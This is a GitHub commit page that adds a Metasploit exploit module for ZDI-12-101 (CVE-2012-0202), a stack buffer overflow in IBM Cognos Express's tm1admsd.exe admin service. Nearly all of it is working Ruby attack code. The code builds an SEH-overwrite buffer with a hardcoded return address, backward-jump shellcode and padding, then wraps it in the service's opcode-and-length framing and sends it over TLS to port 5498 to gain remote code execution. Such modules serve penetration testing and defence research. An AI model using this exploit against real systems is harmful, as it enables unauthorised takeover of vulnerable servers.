Skip to content

Commit 0a13f01

Browse files
author
jvazquez-r7
committed
Added module for ZDI-12-101
1 parent 9909579 commit 0a13f01

File tree

1 file changed

+81
-0
lines changed

1 file changed

+81
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Exploit::Remote
4+
Rank = NormalRanking
5+
6+
include Msf::Exploit::Remote::Tcp
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'IBM Cognos tm1admsd.exe Overflow',
11+
'Description' => %q{
12+
This module exploits a stack buffer overflow in IBM Cognos Analytic Server
13+
Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
14+
dangerous copy of user controlled data to the stack, via memcpy, without validating
15+
the supplied length and data. The module has been tested successfully on IBM Cognos
16+
Express 9.5 over Windows XP SP3.
17+
},
18+
'Author' =>
19+
[
20+
'Unknown', # Original discovery
21+
'juan vazquez' # Metasploit module
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' =>
25+
[
26+
['CVE', '2012-0202'],
27+
['OSVDB', '80876'],
28+
['BID', '52847'],
29+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
30+
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
31+
],
32+
'Privileged' => true,
33+
'DefaultOptions' =>
34+
{
35+
'SSL' => true,
36+
'SSLVersion' => 'TLS1'
37+
},
38+
'Payload' =>
39+
{
40+
'Space' => 10359,
41+
'DisableNops' => true
42+
},
43+
'Platform' => 'win',
44+
'DefaultTarget' => 0,
45+
'Targets' =>
46+
[
47+
# tm1admsd.exe 9.5.10009.10070
48+
# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
49+
[ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
50+
],
51+
'DisclosureDate' => 'Apr 02 2012'))
52+
53+
register_options([Opt::RPORT(5498)], self.class)
54+
end
55+
56+
def exploit
57+
58+
sploit = payload.encoded
59+
sploit << rand_text(target['Offset'] - sploit.length)
60+
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
61+
sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
62+
sploit << [target.ret].pack("V") # seh
63+
sploit << rand_text(2000) # Trigger exception
64+
65+
data = rand_text(4)
66+
data << "\x00\x08" # Opcode
67+
data << [sploit.length].pack("n") # Length
68+
data << sploit # Value
69+
70+
length = [data.length + 2].pack("n")
71+
72+
req = length
73+
req << data
74+
75+
connect
76+
sock.put(req)
77+
disconnect
78+
79+
end
80+
end
81+

0 commit comments

Comments
 (0)